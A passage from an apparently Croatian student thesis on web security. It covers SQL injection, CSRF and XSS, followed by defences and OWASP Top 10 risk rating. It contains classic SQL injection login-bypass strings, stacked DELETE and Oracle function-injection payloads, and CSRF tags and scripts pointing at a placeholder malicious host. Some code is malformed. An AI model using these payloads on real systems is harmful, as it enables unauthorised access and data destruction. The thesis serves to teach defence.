Brisanjem nepotrebnih tablica ili korisničkih podataka koji se ne koriste, smanjujemo
razinu rizika i potencijalne prijetnje koje mogu nastati zlouporabom podataka koji se
ne koriste.28 Provjera kontrole pristupa se odnosi na provjeru dodjeljenih ovlasti.
Pojedinim korisnicima se daju ovlasti za korištenje određenih sustava i korištenje
određene funkcionalnosti, a da bi to bilo sigurno za sustav, i sami korisnici moraju
čuvati svoje korisničke podatke kako netko drugi ne bi došao do njihovih ovlasti u
sustavu. O provjeri ulaznih podataka i procjeni razine rizika smo već govorili, pa se
ovdje nećemo zadržavati.29
26
Skrivanje strukture baze podataka od korisnika ili osoba kojima to nije potrebno – Sigurnost
računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina, Poglavlje 11,
490. stranica
27
Korištenje složenih lozinki, posebno bitno u slučaju kada je sustav izložen brojnim napadima –
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 11, 490. stranica
28
Dodatnaa mjera zaštite. Stari podaci mogu biti zloupotrijebljeni - Sigurnost računarskih sistema i
mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina, Poglavlje 11, 490. stranica
29
Ovaj dio se odnosi na nekoliko mjera zaštite, od kontrole pristupa, provjere ulaznih podataka i
procjene mogućnosti napada sustava što kao posljedicu ima definiranje određenih mjera za smanjenje
rizika i sprječavanje rizičnih situacija – Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček,
B.Đorđević, M.Carić, 2007. godina, Poglavlje 11, 490-491. stranica
16
3.2. Napad SQLi propustom
Postoje četiri najčešća tipa napada SQLi propustom. To su modifikacija SQL upita,
umetanje koda, umetanje funkcijskih poziva i prekoračenje buffera. Modifikacija SQL
upita znači iskorištavanje operacije UNION i promjena uvjeta iza klauzule WHERE s
ciljem dobivanja podataka o nekom identitetu. U drugom slučaju imamo mogućnost
izmjene postavljenog upita, kada se dodavanjem koda u formu, pokušava izvršiti
dodatni kod koji je korisnik upisao. Na sličan način funkcionira umetanje funkcijskih
poziva koji se koriste kod sustava koji rade nad ORACLE bazom podataka. Posljednji
tip napada je vezan za buffer. Koristi se kod DBMS-a. Kako bi bilo jasno o čemu smo
govorili, u nastavku su dani primjeri napada.30
Modifikacija SQL upita
Ovakav napad je moguć kod dinamičkih SQL upita gdje se koristi ključna riječ
UNION ili WHERE. Ako od korisnika tražimo unos podataka, onda on može to
iskoristiti i dodati svoj kod i na taj način modificirati postojeći. Kao primjer navodimo
slučaj gdje se korisnik prijavljuje u sustav. Tada sustav mora provjeriti da li upisani
podaci odgovaraju podacima iz baze podataka. Da bi se taj dio realizirao, potrebno je
koristiti ključnu riječ WHERE, pomoću koje provjeravamo da li neki zapis u polju
odgovara nekom zapisu u bazi podataka.31
SELECT * FROM korisnici
WHERE korisnicko_ime='ime_korisnika' and lozinka='lozinka_korisnika'
Na ovaj upit korisnik može dodati kod i promjeniti upit na način da dobije podatke
koje želi ili čak da dobije sve podatke iz baze podataka. Iza postojećeg upita će
izvršiti i dodani kod ako korisnik u zadnje polje unese sljedeći kod:
'OR 'a'='a';32
Na ovaj način dobivamo upit koji izgleda ovako:
SELECT * FROM korisnici
30
SQLi napad i tipovi SQLi napada - Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček,
B.Đorđević, M.Carić, 2007. godina, Poglavlje 11, 492. stranica
31
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 11, 492. stranica
32
Primjeri SQLi napada – http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC2004-10-93.pdf
17
WHERE korisnicko_ime='ime_korisnika' and lozinka='lozinka_korisnika' 'OR 'a'='a';
Interpretacija upita:33
Prikaži sve podatke iz tablice korisnici u bazi podataka gdje je korisnicko_ime ono
ime koje korisnik upiše i gdje je lozinka ista onoj koju korisnik unese ili vrijedi da je
'a'='a'. Ovaj posljednji dio je uvijek istinit pa ćemo se moći prijaviti u sustav bez
obzira da li je korisničko ime valjano. Da bismo spriječili ovakve napade, potrebno je
implementirati određene kontrole unosa podataka, te provjeravati da li korisnici unose
znakove koji su ključni za izvršavanje SQL upita. Znamo da se u upitima koriste
znakovi kao što su ; ili ' pa te znakove treba isključiti iz unosa. Kod pokušaja unosa
zapisa sa tim znakovima, potrebno je u aplikaciji onemogućiti izvršavanje koda, dok
se ne zadovolji uvjet koji smo definirali za unos podataka.
Isti slučaj imamo ako se želimo prijaviti u sustav. Ako se provjerava identitek
korisnika uz pomoć korisničkog imena i lozinke, možemo pretpostaviti da upit izgleda
ovako:
String SQLQuery = “SELECT Username FROM Users WHERE Username = ‘” +
username + “’ AND Password = ‘” + password + “’”;
Ovim upitom od korisnika zahtjevamo unos dva podatka, korisničko ime i lozinku.
Varijable username i pasword zahtjevaju unos podataka od strane korisnika i na
osnovu toga se prijavljujemo u sustav. Ako su podaci istiniti, možemo se prijaviti.
Zaključujemo da možemo modificirati upita tako da uvijek daje istinu i uvijek ćemo
se moći prijaviti bez obzira na unešene podatke. Takav upit bi mogao izgledati ovako:
SELECT Username FROM Users WHERE Username = '' OR''=''
AND Password = '' OR ''=''34
Ovim se postiže da kao rezultat dobijem uvijek istinu i omogućeno nam je
prijavljivanje u sustav. Kao korisničko ime i lozinku smo upisali OR '' = '', što znači
da će prazan string uvijek biti prazan string i uvijek ćemo se moći prijaviti u sustav.
33
Primjer napravljen prema primjeru iz knjige - Sigurnost računarskih sistema i mreža; D.Pleskonjić,
N.Maček, B.Đorđević, M.Carić, 2007. godina, Poglavlje 11, 492. stranica
34
Primjeri SQLi napada – http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC-200410-93.pdf
18
Ubacivanje koda
Ovaj napad predstavlja veliki problem za sigurnost aplikacija i podataka, jer
omogućuje izvršavanje više naredbi odjednom. Najčešće se koristi tako da se iza
završetka jedne naredbe upiše kod za novu i nakon toga izvrši. Time se može narušiti
stabilnost aplikacije, može se narušiti integritet podataka, dostupnost, odnosno
raspoloživost podataka. Napadač može nakon unosa podataka, odnosno izvršenja
upita koji mu je ponuđen, dodati novi i primjerice izbrisati podatke ili dio podataka iz
tablice. Sada se postavlja pitanje kako će znati što treba brisati. Odgovor na ovo
pitanje smo dali u prethodnom poglavlju. Kod napada modifikacijom upita, možemo
doći do podataka o drugim korisnicima. Nakon toga, te iste podatke možemo
iskoristiti da bismo brisali sve zapise ili dio zapisa koji se odnose na podatke koje smo
dobili prethodno opisanim napadom.35
SELECT * FROM korisnici
WHERE korisnicko_ime='ime_korisnika' and lozinka='lozinka_korisnika';
DELETE * FROM korisnici
WHERE korisnicko_ime = admin;
Interpretacija upita:36
SELECT * FROM korisnici
WHERE korisnicko_ime='ime_korisnika' and lozinka='lozinka_korisnika';
To je dio upita koji je implementiran u aplikaciji. Ako pretpostavimo ili znamo da je u
bazi upisan korisnik sa korisničim imenom admin, tada možemo nakon zadnjeg
upisanog podatka, dodati kod koji će brisati podatke za korisnika čije korisničko ime
znamo.
DELETE * FROM korisnici
WHERE korisnicko_ime = admin;
Ovaj drugi dio upita je dodan na pravi upit, i on će brisati podatke o korisniku kojeg
pokušavamo napasti. Ovaj napad nije moguć ako se radi o sustavu koji onemogućuje
da se zaredom izvrše dva upita.
35
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 11, 493. stranica
36
Primjer napravljen prema primjeru u knjizi – Sigurnost računarskih sistema i mreža; D.Pleskonjić,
N.Maček, B.Đorđević, M.Carić, 2007. godina, Poglavlje 11, 493. stranica
19
Umetanje poziva funkcije
U SQL-u postoje ugrađene funkcije. One vrlo često mogu biti mjesto napada i
predstavljati veliku ranjivost sustavu. Mogu se iskoristiti za izmjenu podataka u bazi
podataka, a smatraju se osnovom izvođenja SQLi napada.
Dan je primjer upita koji nije osjetljiv na napade, ali postoji mogućnost da korisnik
modificira upita na način da doda poziv funkcije koja će omogućiti napad na sustav.37
SELECT TRANSLATE ('user input',
'0123456789ABCDEFGHIJKLMNOPQRSTUVXYZ','0123456789')
FROM dual;
Nakon što napadač doda funkciju kako je prikazano u kodu ispod, napaču su dane
mogućnosti da koristi odabrane znakove i upravlja nizom znakova i URL adresom.
SELECT TRANSLATE ('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || ' ' ),
'0123456789ABCDEFGHIJKLMNOPQRSTUVXYZ','0123456789')
FROM dual;
U posljednjem slučaju imamo situaciju kada napadač može dodavati nove korisnike i
kad nema prava pristupa sustavu. Pozivom odgovarajućih funkcija, može upravljati
dodavanjem korisnika i upisati sebe kao novog korisnika sustava. Nakon toga može
pristupiti sustavu sa odabranim korisničkim podacima.
SELECT TRANSLATE ('' || user_package.add_user('admin', 'new_pass') || ' ' ),
'0123456789ABCDEFGHIJKLMNOPQRSTUVXYZ','0123456789')
FROM dual;
Prekoračenje buffera
Ovaj napad podrazumjeva da smo prethodno izvršili napad umetanjem funkcije. Taj
napad treba biti uspješno izvršen. Budući da u gotovo svakom DBMS-u postoje
uskladištene procedure i funkcije kojima se mogu izazvati prekoračenja buffera,
napadač to može iskoristiti i prepuniti buffer podacima kako bi nakon toga mogao
37
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 11, 494. stranica
20
izvršiti vlastiti kod. Jedna od vrlo štetnih radnji koje napadač može biti isključivanje
servera baze podataka. Može doći do rušenja sustava, a u tom slučaju napadač iz
poruka koje mu se prikazuju može saznati puno o bazi podataka i serveru na kojem se
nalazi baza podataka.38
38
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 11, 495-496. stranica
21
3.3. Što je to XSS/CRLF
CRSF (eng. Cross-Site Request Forgery) napadom korisnik želi nesvjesno izvršiti
određene radnje na web aplikacijama. Ovim napadom se iskorištava korisnikov
cookie zapis, a da korisnik nije toga svjestan, a izvodi se posredovanjem klijentskog
programa. Na ovaj način se mogu iskoristiti JavaScript forme, koje se mogu sakriti u
posebnom i-frameu. Način na koji ovo funkcionira možemo vidjeti tek kada učitamo
stranicu u nesigurnom web pregledniku. Takva stranica mora sadržavati kod koji će
omogućiti pokretanje takvog zahtjeva. Ako na stranici nema nikakve kontrole i
provjere sigurnosti i identiteta korisnika, zahtjev koji je poslan takvoj stranici se
izvodi kao da ga je poslao klijent.
Spomenuli smo nesigurne preglednike, pa je važno objasniti kakvi se preglednici
smatraju nesigurnima. To su oni preglednici koji ne zadovoljavaju principe sigurnog
oblikovanja i ne provjerava autentičnost primljenih HTTP zahtjeva. CSRF napad
nastoji iskoristiti vezu, odnosno povjerenje ostvareno između korisnika i stranice na
webu. Napadač ovom metodoom sebe predstavlja kao nekog drugog pošiljatelja.
Tipični zahtjevi koji se mogu iskoristiti u ovom napadu su GET i POST. GET metoda
služi za dohvat podataka, a prenosi se putem URL zahtjeva. To znači da je svaki
korisnik interneta može „uhvatiti“ nekim alatima koji skeniraju promet po internetu.
U drugom slučaju imamo POST metodu koja sadržaj šalje kroz poruku. Na taj način
smo je bolje zaštitili od trećih strana. GET metoda je puno bolja ako želimo iskoristiti
ranjivost sustava i napasti web aplikaciju. Sadržaj te metode se rijetko provjerava
upravo iz činjenice da služi samo za dohvaćanje podataka. Na ovaj način napadač
može omogućiti izmjenu sadržaja, pa se korištenje ove metode preporuča samo onda
kada je izmjena sadržaja GET metode onemogućena.
Preduvjeti koji moraju postojati da bi se mogao izvesti CSRF napad su sljedeći:
1. Stranica koja se napada ne provjerava izvor poruke, odnosno HTTP Referer
zaglavlje
2. Web preglednik korisnika omogućuje lažiranje tog zaglavlja,
22
3. Koristi se takav HTTP zahtjev koji izvodi promjene na napadnutoj stranici ili
korisničkom računu (npr. mijenja lozinku),
4. Napadač ima pristup autentikacijskim kolačićima i sigurnosnim značkama
preko kojih pristupa ranjivoj stranici i
5. Napadač je u mogućnosti navesti žrtvu na otvaranje zloćudne web
poveznice.39
Slika 3.1. Shema CSRF napada40
CSRF napadi mogu se izvoditi na različite načine. Danas postoji nekoliko metoda a
spomenut ćemo one najznačajnije metode. To su:
1. pomoću zlonamjerno oblikovanih HTML objekata,
2. pomoću skriptnog koda umetnutog u HTML (JavaScript, PHP, JScript…) i
3. zlouporabom automatskog generiranja zahtjeva u web pregledniku
(XMLHttpRequest).41
39
Preduvjeti za izvođenjeCRSF-a, prema dimplomskom radu
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
40
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
41
Preduvjeti za izvođenjeCRSF-a, prema dimplomskom radu
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
23
1. Napadi HTML objektima
CSRF napad je moguće izvesti na nekoliko načina. Ako detaljnije proučimo napad
pomoću HTTP GET metode, vidjet ćemo da samo tu postoje brojni načini. Ta metoda
služi za dohvat podataka. Iskorištava HTML objekte. Kao primjer ćemo navesti img
element pomoću kojeg oblikujemo sadržaj na web.42
<img src="slika.gif" alt="Slika" title="Slika" />
Ovaj element ima nekoliko ključnih atributa. Jedan od njih je src atribut u kojeg je
pohranjen izvor, odnosno putanja datoteke koja se koristi za oblikovanje sadržaja.
Nakon što pokušamo učitati neku stranicu koja sadrži taj objekt, moramo njemu
pristupiti. Metodom umetanja koda možemo zamjeniti taj objekt nekim drugim i na
taj način omogućimo izvršavanje podmetnutog koda. Ostali atributi nisu bitni jer ne
mogu biti iskorišteni na način da naruše stabilnost i funkcionalnost sustava.
<img src="http://posluzitelj/stetna_naredba"/>
U ovom primjeru http://posluzitelj/stetna_naredba je adresa gdje se nalazi spremeljen
neki drugi dokument, koji će omogućiti neku drugu akciju. Ona može biti štetna za
sustav jer može sadržavati destruktivne naredbe. Na isti način se iskorištavaju
propusti kod ostalih elemenata kao što su SCRIPT ili spomenuti IFRAME.
<iframe src="http://posluzitelj/stetna_naredba"/>
<script src="http://posluzitelj/stetna_naredba"/>
42
Napadi HTML objektima – http://www.cert.hr/filehandler.php?did=412
24
2. Napadi skriptnim kodom
U ovom slučaju se radi o izvršavanju JavaScript koda koji također može iskoristiti
nedostatke objekta Image. U nastavku je prikazan primjer koda koji iskorištava taj
propust.
<script>
var slika = new Image();
slika = http://posluzitelj/stetna_nadredba;
<script>
ili pomoću objekta ActiveXObject u Microsoftovom JScript skriptnom jeziku
<script>
var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
xmlhttp.open("POST", 'http://posluzitelj/stetni_kod', true);
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4)
{ alert(xmlhttp.responseText); }
};
xmlhttp.send(null);
</script>43
Za ovaj problem postoji način da ga barem spriječimo prije nego mu sami dopustimo
izvršavanje. Danas internet preglednici omogućavaju da korisnik sam odluči da li želi
da mu se JS kod izvršava odmah kada se stranica učita, odnosno automatski ili to želi
ručno pokretati. U drugom slučaju može u nekim situacijama pretpostaviti ili
prepoznati da se radi o opasnom kodu i može onemogućiti njegovo izvršavanje. To je
jedna od mogućnosti novijih preglednika, budući da se izvršavanje ovakvog koda
pokazalo prilično opasno za sigurnos web aplikacija, ali i sustava koji funkcioniraju
na način da internet koriste u potpunosti ili djelomično za svoje poslovanje.44
43
44
Kod preuzet sa interneta – http://www.cert.hr/filehandler.php?did=412
Napadi skriptnim kodom – http://www.cert.hr/filehandler.php?did=412
25
3. XMLHttpRequest
XMLHttpRequest objekti središnji su objekti AJAX programa. AJAX je skupina
tehnologija koja omogućuje slanje i obradu HTML zahtjeva. Ako detalnije upoznamo
tu tehnologiju, vidjet ćemo da ima dosta prednosti u odnosu na druge tehnologije.
Jedna od njih je mogućnost da korisnici ne moraju stalno učitavati stranice kada neki
element žele učitavati. HTTP zahtjeva se šalje i to se odvija predavanjem web
formulara ili otvaranjem web poveznice. XMLHttpRequest objekti se koriste kako bi
se HTTP zahtjevi generirali automatski u web pregledniku. Taj postupak se događa u
pozadini, tako da korisnik nije toga svjestan i to mu olakšava rad.
Primjer uporabe ove funkcije u Internet Exploreru dan je u programskom kodu koji
lijedi
<script>
xmlhttp=new XMLHttpRequest() ;
xmlhttp.open(“GET”, “http://urlAdresa”,true);
xmlhttp.onreadystatechange = ispisiOdgovor();
xmlhttp.send(null);
function ispisiOdgovor(xmlhttp,element_id)
{ var element = document.getElementById(element_id);
if (xmlhttp.readyState == 4)
{ var tekst = http.responseText;
dokument.write.tekst; }
}
</script>
Ovim kodom smo prikazali jednu od čestih funkcija. To je funkcija open i slanje
odgovora koji se postiže funkcijom send. Glavna funckija je ispisOdgovor i onda se
poziva kod svake promjene prikazanog svojstva.
26
3.4. Napad iskorištavanjem XSS/CRLF-a
XSS napad je vezan za izvršavanje CSRF napada. Za ovu metodu napada možemo
reći da daje napadaču dodatne mogućnosti kada je u pitanju CSRF napad. XSS je na
neki način posrednik, a ograničen je onim kodom koji je ubačen u ranjivu aplikaciju
na webu. Napadaču daje mogućnost da napada računalo žrtve samo onda dok žrtva
ima otvoren preglednik. Tada je napadač povezan sa udaljenom lokacijom i može
preusmjeriti korisnika na neke druge lokacije te tamo iskorisiti ranjivosti za neke
druge metode napada. Neke mogućnosti ovakvog napada su:
1. Napadač može pročitati HTML kod iz drugog internet preglednika
2. Može postaviti određeni sadržaj ili brisati postojeću u drugom prozoru. Ovo
se najčešće koristi kada napad želi mijenjati ili uništiti podatke koje korisnik
unosi u neke formulare.
3. Isto tako je napadaču omogućeno kreiranje varijabli i pozivanje funkcija
4. Posljednje se odnosi na stvaranje novih sadržaja pomoću metode
document.write.45
Slika 3.2. Curenje informacija kod XSS napada46
45
Napad iskorištavanjem propusta XSS/CRLF-a –
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
46
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
27
Za XSS je bitno napomenuti da se ovdje radi o dvosmjernoj komunikaciji. Žrtva na
ekrano dobiva otvorenu stranicu u kojoj je skriven zloćudni kod. Pretpostavimo da se
za napad koristila metoda pomoću slike ili javascript koda. Tada je napadaču
omogućeno da na računalu žrtve otvori novu stranicu sa takvim kodom. Na slici dolje
je prikazana komunikacija između napadača i zaražene web aplikacije sa žrtvinim
preglednikom.
Slika 3.3. Dvosmjerna komunikacija XSS posrednikom47
Ovakva metoda ne može sakriti napadača od korisnika, pa su razvijene napredne
metode XSS napada. One omogućuju napadaču da sakrije sve svoje podatke i
anonimno napadne žrtvu. Za to mu je potrebna lokacija za sakrivanje. Slika ispod
prikazuje kako to funkcionira.48
47
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
Opis prikazane slike –
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
48
28
Slika 3.4. Scenarij naprednog XSS posrednika49
Napad prikazuje sljedeću situaciju. Napadač ima računalo na kojem se nalazi
aplikacija kojojm će napasti žrtvu. Ta aplikacija omogućujue čitanje i pisanje po
stranicama aplikacije. IFRAME3 okvir je onaj okvir kojeg se koristi za učitavanje
druge aplikacije koja je ranjiva i nad kojom se može izvesti XSS napad. IFRAME2
okvir služi kao komunikacijski kanal. Napadač ima mogućnost čitati i pisati po
IFRAME1 okviru. Nakon ovog koraka nova će se aplikacija učitati u IFRAME2
okvir. Rekli smo da je to komunikacijski okvir. U njemu se otvara novi IFRAME4
okvir koji učitava dokumente sa nove aplikacije. Nakon učitavanja URL-a, prva
aplikacija će primiti naredbe od napadača i sad zna kako i kada napasti korisnika.
Napada ga preko IFRAME2 okvira koji se dodaje u naredbi u URL. Nakon ovog
koraka druga aplikacija ima kontrolu IFRAME2 okvir, te može dohvatiti napadačeve
naredbe. Rezultat naredbe se dodaje u URL adresi. Jedna zanimljiva činjenica ovog
49
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
29
napada je da je IP adresa i lokacija napadača potpuno nepoznata drugoj aplikaciji, te
korisnik nikako ne može saznati tko ga je napao. Naravno, ne možemo nikada biti
sigurno da se to neće otkriti, ali u tom trenutku korisnik nije svjestan da napadač nešto
radi. To je postignuto tako što je jedna od aplikacija kao posrednik.50
50
Interpretacija slike prema tekstu diplomskog rada–
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
30
3.5. Zaštita od XSS/CRLF-a
Kao i u svakom drugom slučaju, kada je u pitanju sigurnost informacijskih sustava,
tako i kod web aplikacija, najbitnije je odrediti neke mjere ili smjernice za poboljšanje
razine sigurnosti i definirati što poduzeti u određenim situacijama. Osim definiranja
mjera, možemo provjeravati kod. Prije izvršavanja ili tijekom izvršavanja se kod
može pregledati. Svakako je dobro provjeriti kod prije nego se izvrši na računalu.
Ponekad ne moramo dobro poznavati područje da bismo učili probleme. Već na
temelju nekoliko informacija o napadima ili posljedica koje rade takvi napadi,
možemo uočiti ako je naše računalo zaraženo. Vrlo bitno je i redovito ispitivanje
programa i njihovog rada. To se može postići različitim testiranjima i provjerama od
strane stručnjaka.
Danas postoje brojne organizacije koje se bave sigurnošću aplikacija i informacijskih
sustava, a svakako jedna od najpoznatijih je OWASP. To je neprofitna organizacija
koja se bavi problemima vezanim za sustave na webu i ranjivosti takvih sustava. Na
internetu objavljuju brojne programe i dokumentaciju koja nastoji zaštititi web
aplikacije i cijele sustave koji rade na webu, otkrivaju ranjivosti i održavaju sustave
sigurnima. Isto tako i na ovom područuju definiraju niz mjera i smjernica kako nešto
spriječiti i što učiniti u incidentnim situacijama. U nastavku ćemo nešto više reći o
OWASP-u.
Zaštita s korisničke strane
O ovom načinu zaštite možemo govoriti samo ako su korisnici svjesni svoje
odgovornosti i ako znaju da i oni moraju sudjelovati u mjerama zaštite sustava. Pri
tome se misli da moraju razmisliti o tome kakve mailove otvaraju. Neodgovornim
ponašanjem mogu učiniti sustav nesigurnim. Neki od koraka koje oni mogu učiniti je
brisanje povijesti u internet pregledniku, provjera i kontrola autentikacijskih oznaka,
redovite nadogradnje internet preglednika. Sve su to mali koraci koji znatno mogu
utjecati na sigurnost sustava i računala na kojem radimo. Još jedna od mjera je
isključivanje opcije automatskog izvršavanja Javascript koda ili učitavanja slika sa
vanjskih odredišta. Na kraju možemo još napomenuti da ove mjere na mogu u
31
potpunosti eliminirati prijetnje i ranjivosti, ali mogu utjecati na veću razinu sigurnosti
sustava.
Zaštita poslužitelja web aplikacije
Neke od najčešće primjenjivanih mjera zaštite na strani poslužitelja su:
1. Ponovno zatražiti prijavu korisnika prilikom svakog kritičnog GET i POST
zahtjeva
2. Ograničiti vrijeme valjanosti autentikacijskih kolačića
3. Provjera izvor poruke (HTTP Referer zaglavlje)
4. Uvođenje dodatne tajne sigurnosne značke koja se pridružuje identifikacijskim
oznakama
5. Sjednice i zahtjeva,
6. Korištenje novih znački u svakoj novoj predaji obrasca čak i unutar iste
sjednice,
7. Odbijanje zastarjelih znački i
8. Izbjegavanje prikazivanja sjedničkih atributa u URL poveznici. Preporuča se
njihovo slanje u skrivenim poljima web obrazaca.51
51
http://os2.zemris.fer.hr/ns/websec/2009_tomic/otkrivanje_ranjivosti.html
32
4. OWASP projekti
4.1.OWASP Top 10
OWASP Top 10 je lista deset najkritičnijih sigurnosnih rizika web aplikacija prema
mišljenju OWASP zajednice. Finalna inačica trenutno aktualne verzije, „OWASP Top
10 for 2010“, objavljena je 19.04.2010.
Prema autorima Top 10 projekta, njihov cilj je podići svijest o nesigurnosti aplikacija
kroz identifikaciju nekih od najkritičnijih rizika s kojima se susreću organizacije. Top
10 projekt referenciran je u mnogim standardima, knjigama, alatima i organizacijama,
čiji popis se može naći na stranicama projekta52. Prvo izdanje OWASP Top 10 bilo je
u 2003. godini, manje izmjene napravljene su u 2004. i 2007. godini dok je zadnja
verzija izrađena u 2010. godini.
Top 10 projekt trebao bi organizacijama poslužiti kao startna točka u podizanju
sigurnosti aplikacija. Programeri bi se kroz njega trebali upoznati sa najvećim
rizicima i pogreškama drugih aplikacija, no to nije projekt koji bi osigurao apsolutnu
sigurnost aplikacija. Zbog toga organizacije trebaju kontinuirano ulagati u sigurnost,
obuku zaposlenika, alate i ostale procese vezane za sigurnost aplikacija.
Za svaki rizik koji se navodi u Top 10 listi naveden je detaljan opis. To između
ostalog uključuje i nekoliko konkretnih osobina koje su rangirane, kao što su: težina
samog napada iz napadačeve perspektive (Attack Vector), učestalost propusta
(Weakness Prevalence), zatim koliko je teško detektirati propust (Weakness
Detectability), te utjecaj ukoliko se uspješno izvrši napad (Technical Impact). Za
svaku od ovih osobina imamo tri razine utjecaja, što je prikazano u tabeli 1.
52
http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project#Users_and_Adopters
33
Tablica 4.1: Izvor: OWASP Top 10 - 2010 Document53
Težina napada
Lak
Srednje težak
Težak
Attack Vector
Easy
Average
Difficult
Učestalost
propusta
Rasprostranjen
Uobičajen
Neuobičajen
Detekcija
propusta
Laka
Srednje teška
Teška
Weakness
Prevalence
Widespread
Common
Uncommon
Weakness
Detectability
Easy
Average
Difficult
Tehnički utjecaj
Ozbiljan
Umjeren
Malen
Technical Impact
Severe
Moderate
Minor
U tablici za svaki rizik navedeno je i tko je mogući napadač, kao i utjecaj na sam
posao organizacije. Uz to, za svaki sigurnosni propust u listi dostupan je i „vodič“
kako provjeriti da li neka aplikacija ima problema u tome području, kako izbjeći takav
problem, standardni primjer takvih propusta te reference koje upućuju čitatelja na
daljnje izvore koji govore o spomenutom problemu.
53
http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010.pdf
34
4.1.1. Način utvrđivanja rizika
OWASP grupa kod Top 10 liste eksplicitno navodi da to nije lista najčešćih propusta
u aplikacijama, nego lista propusta sa najvećim rizikom. Slijedi kratak opis kako oni
utvrđuju razinu rizika za pojedini potencijalni propust u aplikacijama.
Kao „standardni“ model rizika navodi se sljedeće:
Rizik = Vjerojatnost * Utjecaj
Koraci koji se izvršavaju kako bi se utvrdio cjelokupna ozbiljnost rizika su sljedeći:
1. Identificiranje rizika
• Trebaju se prikupiti informacije o napadaču, koje napade oni koriste, ranjivost
koja je uključena i utjecaj uspješnog napada na posao. Moguće su grupe
napadača ili čak višestruki utjecaji na posao. Općenito gledano, najbolje je
biti oprezan i proučiti najgori scenarij koji se može desiti kod uspješnog
napada.
2. Faktori za procjenu vjerojatnosti
• Kada se identificira potencijalni rizik treba odrediti vjerojatnost njegovog
nastupanja. Za to se koriste sljedeći faktori:
a) Faktori vezani za napadača: Koliko je tehnički vješt napadač, koliko je
motiviran naći i iskoristiti sigurnosne propuste, koji resursi i prilike su
potrebni kako bi napadač našao i iskoristio slabosti te koliko je velika
grupa napadača.
b) Faktori ranjivosti: Koliko je lako napadaču otkriti ranjivost, koliko je
teško napadaču zapravo iskoristiti ranjivost, koliko je ranjivost poznata
napadaču te koliko je vjerojatno da će napad biti otkriven.
3. Faktori za procjenu utjecaja
• Kada se određuje utjecaj uspješnog napada, treba promotriti „tehnički utjecaj“
na aplikaciju, podatke koje ona koristi i funkcije koje pruža, kao i „poslovni
utjecaj“ na posao i organizaciju koja koristi aplikaciju. Na kraju, poslovni
utjecaj je važniji. No ponekad je njega teško procijeniti, a u tome slučaju
treba čim detaljnije opisati tehničke rizike kako bi se utvrdio utjecaj na
posao.
35
• Faktori koji se trebaju promotriti su sljedeći:
a) Tehnički faktori: Koliko podataka može biti razotkriveno i koliko su
oni važni, koliko podataka se može oštetiti i do koje mjere, koliko
usluga može biti izgubljeno i koliko su one važne te da li se akcije
napadača mogu povezati sa nekom osobom?
b) Poslovni faktori: Koliko financijske štete će prouzročiti iskorištenje
slabosti aplikacije, da li bi iskorištenje takve slabosti oštetilo ugled te
tako naštetiti organizaciji, kolika je izloženost zbog neslaganja te
koliko osobnih informacija može biti razotkriveno?
4. Utvrđivanje jačine rizika
• U ovom koraku koriste se prethodno utvrđeni faktori za procjenu rizika i
utjecaja kako bi se utvrdila sveukupna jačina rizika. Za vjerojatnost i utjecaj
utvrđuje se da li su niski, srednji ili visoki.
• Nakon toga pomoću sljedeće tablice utvrđuje se jačina rizika
Tablica 4.2. Jačina rizika
Ukupna jačina rizika
VISOK
Srednja
Visoka
Kritično
SREDNJI
Niska
Srednja
Visoka
NIZAK
Zabilješka
Niska
Srednja
NISKA
SREDNJA
VISOKA
Utjecaj
Vjerojatnost
5. Utvrđivanje što treba popraviti
• Nakon klasifikacije rizika aplikacije, treba napraviti prioritetnu listu onoga što
treba popraviti. Kao generalno pravilo, prvo se popravljaju kritičniji rizici.
Nema prevelike koristi od popravljanja manje važnih rizika, čak ako su
jednostavni za popraviti ili jeftini, ako vrlo važni rizici ostaju nerazriješeni.
• Neke rizike se čak ne isplati popravljati. Ako je cijena popravka rizika
100.000 kn, a šteta nastala njegovim iskorištavanjem 1000 kn po godini,
trebalo bi 100 godina da se povrati investicija u popravljanje rizika
36
aplikacije. Naravno uvijek treba imati na umu da se uzmu svi mogući
troškovi iskorištavanja nekog propusta, jer indirektni troškovi kao
smanjivanje ugleda organizacije mogu imati dugoročne i velike posljedice.
6. Prilagođavanje modela za utvrđivanje rizika
• Pošto je svaka organizacija drugačija, one se ohrabruju da prilagode ovaj
model za utvrđivanje rizika svojim potrebama dodavanjem potrebnih novih
faktora, prilagođavanjem opcija i vaganjem pojedinih faktora.
37
4.1.2. OWASP Top 10 Application Security Risks – 2010
Slijedi popis 10 najvećih sigurnosnih rizika prema OWASP Top 10 projektu, a u
nastavku nešto detaljniji opis svakog od njih.
1) Injection
